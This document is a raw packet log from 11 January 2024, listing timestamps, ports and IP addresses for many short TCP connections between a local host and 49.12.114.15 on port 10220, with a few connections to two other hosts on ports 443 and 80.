Jan 11, 2024 13:45:14.455507994 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.455540895 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.455610037 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.455713987 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.455754995 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.455802917 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.455840111 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.455869913 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.455934048 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.455974102 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.455991030 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.456048012 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.456083059 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.456135988 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.456167936 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.456218958 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.456324100 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.456357956 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.456376076 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.456475973 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.456509113 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.456573963 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.456644058 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.456686974 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.456703901 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.456753016 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.456754923 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.456790924 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.456808090 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.456871033 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.456912994 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.456947088 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.456967115 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.456996918 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.457047939 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.457108021 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.457139969 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.457158089 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.457223892 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.457272053 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.457276106 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.457324982 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.457353115 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.457387924 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.457437038 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.457468987 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.457518101 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.457549095 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.457684994 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.457775116 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.457815886 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.457845926 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.457914114 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.457954884 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.457967043 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.457998037 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.458026886 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.458097935 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.458129883 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.458146095 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.458193064 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.458225965 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.458256006 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.458287001 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.458316088 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.458403111 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.458439112 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.458492994 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.458573103 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.458626986 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.458673000 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.458684921 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.458712101 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.458743095 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.458818913 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.458862066 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.458923101 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.458980083 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.459013939 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.459059000 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.459091902 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.459120035 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.459193945 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.459227085 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.459273100 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.459342003 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.459377050 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.459460974 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.459498882 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.459515095 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.459616899 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.459661007 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.459691048 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.459739923 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.459795952 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.459865093 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.459903955 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.459950924 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.460025072 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.460062027 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.460081100 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.460143089 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.460180044 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.460210085 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.460247040 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.460263968 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.460310936 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.460365057 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.460402012 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.460453987 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.460489988 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.460530996 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.460567951 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.460601091 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.460635900 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.460675955 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.460711956 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.460740089 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.460781097 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.460808039 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.460860968 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.460892916 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.460922956 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.460973024 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.461007118 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.461038113 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.461067915 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.461124897 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.461194038 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.461194992 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.461226940 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.461302042 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.461338043 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.461384058 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.461420059 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.461436987 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.461463928 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.461533070 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.461570024 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.461585045 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.461630106 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.461647987 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.461678028 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.461721897 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.461785078 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.461819887 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.461849928 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.461883068 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.461930990 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.461958885 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.462014914 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.462018967 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.462043047 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.462069035 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.462105036 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.462132931 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.462201118 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.462244987 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.462280989 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.462333918 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.462368965 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.462407112 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.462445021 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.462472916 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.462507963 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.462554932 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.462590933 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.462632895 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.462668896 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.462711096 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.462745905 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.462800026 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.462836981 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.462869883 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.462903976 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.462960005 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.462996006 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.463037968 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.463077068 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.511205912 CET	49728	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.511950970 CET	49736	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.699798107 CET	10220	49728	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.699861050 CET	49728	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.700293064 CET	10220	49736	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.700366020 CET	49736	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.700932026 CET	49736	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.890594006 CET	10220	49736	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.890623093 CET	10220	49736	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.890697002 CET	49736	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.891247034 CET	49736	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.894099951 CET	49736	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.894232988 CET	49736	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:15.082545996 CET	10220	49736	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:15.125567913 CET	10220	49736	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:15.381156921 CET	10220	49736	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:15.381282091 CET	49736	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:15.578862906 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:15.580193043 CET	49737	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:15.768779039 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:15.768902063 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:15.772700071 CET	10220	49737	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:15.772838116 CET	49737	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:15.773402929 CET	49737	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:15.961899042 CET	10220	49737	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:15.961926937 CET	10220	49737	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:15.964616060 CET	49737	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:15.965136051 CET	49737	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:15.967711926 CET	49737	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:16.157840014 CET	10220	49737	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:16.433340073 CET	10220	49737	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:16.433460951 CET	49737	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:16.913064957 CET	49736	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:16.913827896 CET	49738	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:16.985194921 CET	49739	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:45:16.985261917 CET	443	49739	172.67.139.220	192.168.2.6
Jan 11, 2024 13:45:16.985392094 CET	49739	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:45:17.002918959 CET	49739	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:45:17.002990961 CET	443	49739	172.67.139.220	192.168.2.6
Jan 11, 2024 13:45:17.103144884 CET	10220	49736	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:17.103235960 CET	49736	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:17.104070902 CET	10220	49738	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:17.104154110 CET	49738	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:17.104631901 CET	49738	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:17.205461025 CET	443	49739	172.67.139.220	192.168.2.6
Jan 11, 2024 13:45:17.205581903 CET	49739	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:45:17.213854074 CET	49739	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:45:17.213874102 CET	443	49739	172.67.139.220	192.168.2.6
Jan 11, 2024 13:45:17.214210033 CET	443	49739	172.67.139.220	192.168.2.6
Jan 11, 2024 13:45:17.214266062 CET	49739	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:45:17.216665030 CET	49739	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:45:17.261910915 CET	443	49739	172.67.139.220	192.168.2.6
Jan 11, 2024 13:45:17.294898987 CET	10220	49738	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:17.295002937 CET	10220	49738	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:17.295067072 CET	49738	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:17.295670033 CET	49738	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:17.299141884 CET	49738	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:17.487747908 CET	10220	49738	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:17.704428911 CET	443	49739	172.67.139.220	192.168.2.6
Jan 11, 2024 13:45:17.704564095 CET	443	49739	172.67.139.220	192.168.2.6
Jan 11, 2024 13:45:17.704600096 CET	49739	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:45:17.704665899 CET	49739	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:45:17.705182076 CET	49739	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:45:17.705221891 CET	443	49739	172.67.139.220	192.168.2.6
Jan 11, 2024 13:45:17.735646963 CET	49740	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:17.767476082 CET	10220	49738	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:17.767788887 CET	49738	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:17.925445080 CET	49741	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:17.982481003 CET	80	49740	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:17.982708931 CET	49740	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:17.983118057 CET	49740	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:18.020081997 CET	49737	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:18.021223068 CET	49742	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:18.170311928 CET	80	49741	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:18.170471907 CET	49741	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:18.172715902 CET	49741	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:18.209247112 CET	10220	49737	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:18.209332943 CET	49737	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:18.209429026 CET	10220	49742	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:18.209511042 CET	49742	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:18.210319996 CET	49742	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:18.229279041 CET	80	49740	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:18.232275963 CET	49740	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:18.232275963 CET	49740	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:18.398827076 CET	10220	49742	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:18.399241924 CET	10220	49742	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:18.399389029 CET	49742	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:18.402764082 CET	49742	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:18.402764082 CET	49742	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:18.405606985 CET	49743	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:18.417488098 CET	80	49741	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:18.418798923 CET	49741	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:18.418903112 CET	49741	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:18.478733063 CET	80	49740	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:18.591658115 CET	10220	49742	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:18.594209909 CET	10220	49743	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:18.594392061 CET	49743	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:18.594491005 CET	49742	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:18.595033884 CET	49743	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:18.663814068 CET	80	49741	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:18.785527945 CET	10220	49743	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:18.786324024 CET	10220	49743	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:18.786382914 CET	49743	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:18.789391041 CET	49743	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:18.798352003 CET	49743	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:18.806107998 CET	49744	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:18.987096071 CET	10220	49743	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:18.987215996 CET	49743	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:18.994710922 CET	10220	49744	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:18.994800091 CET	49744	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:18.995337963 CET	49744	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:19.183873892 CET	10220	49744	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:19.184340954 CET	10220	49744	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:19.184396029 CET	49744	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:19.184916973 CET	49744	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:19.187838078 CET	49744	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:19.190121889 CET	49745	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:19.376380920 CET	10220	49744	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:19.376449108 CET	49744	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:19.378540993 CET	10220	49745	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:19.378609896 CET	49745	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:19.379055977 CET	49745	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:19.567456007 CET	10220	49745	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:19.567919970 CET	10220	49745	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:19.568660021 CET	49745	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:19.576654911 CET	49745	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:19.580655098 CET	49745	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:19.581228018 CET	49746	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:19.769381046 CET	10220	49745	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:19.769593000 CET	10220	49746	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:19.769674063 CET	49746	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:19.770123005 CET	49746	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:19.771888971 CET	49745	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:19.958587885 CET	10220	49746	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:19.959510088 CET	10220	49746	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:19.959584951 CET	49746	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:19.960067034 CET	49746	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:19.962344885 CET	49746	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:19.964799881 CET	49747	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:20.151034117 CET	10220	49746	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:20.151106119 CET	49746	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:20.153525114 CET	10220	49747	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:20.153599024 CET	49747	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:20.154273987 CET	49747	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:20.342947006 CET	10220	49747	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:20.343449116 CET	10220	49747	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:20.343532085 CET	49747	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:20.344110012 CET	49747	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:20.347393990 CET	49747	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:20.536053896 CET	10220	49747	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:20.536174059 CET	49747	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:46:27.767160892 CET	10220	49738	49.12.114.15	192.168.2.6
Jan 11, 2024 13:46:27.767210007 CET	10220	49738	49.12.114.15	192.168.2.6
Jan 11, 2024 13:46:27.767458916 CET	49738	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:46:54.248672962 CET	49738	10220	192.168.2.6	49.12.114.15
